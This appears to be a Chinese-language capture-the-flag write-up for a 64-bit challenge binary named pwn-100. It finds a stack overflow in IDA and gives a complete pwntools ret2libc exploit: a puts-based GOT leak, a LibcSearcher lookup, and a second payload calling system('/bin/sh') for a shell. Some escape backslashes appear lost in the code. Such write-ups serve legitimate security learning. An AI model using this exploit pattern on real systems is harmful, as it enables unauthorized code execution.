一、checksec一下
开启了NX
二、 file一下,查看文件属性
64位文件
三、执行
让用户不断输入
四、拖进ida里分析看反汇编代码
主要代码:
数组v1的大小是0x40,后面利用的read函数的size是0xC8,有栈溢出漏洞
五、在ida里没有找到可以利用的system("bin/sh)和system("cat flag")
六、原程序中没有调用system函数,在GOT和PLT表中没有随system函数的记录,只能从libc中寻找system函数
有puts和read函数,可以利用puts函数泄露出read函数的实际地址,根据read函数地址,利用LibcSearcher泄露libc版本
七、64位程序,前6个参数是利用寄存器传递的,所以要利用puts函数泄露read函数的真实地址,要先把read函数的got地址pop到rdi中,然后再调用puts函数,实现puts[read]的功能
查找pop rdi这一指令在程序中的位置:
为了泄露read函数的地址,可以构造的payload如下:
from pwn import *
p = process('./pwn-100')
elf = ELF("./pwn-100")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = 0x04006B8
pop_rdi_addr = 0x00400763
# payload组成:0x40个a 覆盖掉数组的大小
# 0x8个a 覆盖掉EBP
# 执行pop rdi指令,将read_got这个地址赋值给rdi,然后执行retn
# 执行puts函数,参数为read_got,即执行puts(read_got),即打印got表read函数的地址
# 之后再次执行main函数,再在下面进行再一次泄露
# 最后填充a,将0xc8个填满
payload = 'a'*0x48 + p64(pop_rdi_addr) + p64(read_got) + p64(puts_plt) + p64(main_addr) + 'a'*(0xc8-0x48-32)
p.send(payload)
p.recvuntil("n")
# addr接收read函数的地址
addr = u64(p.recv(6).ljust(8,'x00'))
print(hex(addr))
八、之后利用read函数的地址,用LibcSearcher查找libc的版本,找到之后再查找出system函数和"/bin/sh"的地址,进行再次泄露
完整exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./pwn-100')
elf = ELF('./pwn-100')
p = remote('','')
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = 0x04006B8
pop_rdi_addr = 0x00400763
payload = 'a'*0x48 + p64(pop_rdi_addr) + p64(read_got) + p64(puts_plt) + p64(main_addr) + 'a'*(0xc8-0x48-32)
p.send(payload)
p.recvuntil("n")
#a = p.recv().split('n')[0]
#for i in range(len(a),8):
# a = a + 'x00'
#addr = u64(a)
addr = u64(p.recv(6).ljust(8,'x00'))
print(hex(addr))
libc = LibcSearcher("read",addr)
# 计算libc的基地址
libc_base = addr - libc.dump('read')
system_addr = libc.dump("system") + libc_base
binsh_addr = libc.dump("str_bin_sh") + libc_base
print(hex(system_addr))
print(hex(binsh_addr))
payload = 'a'*0x48 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) + 'a'*(0xc8-0x48-24)
p.send(payload)
p.interactive()



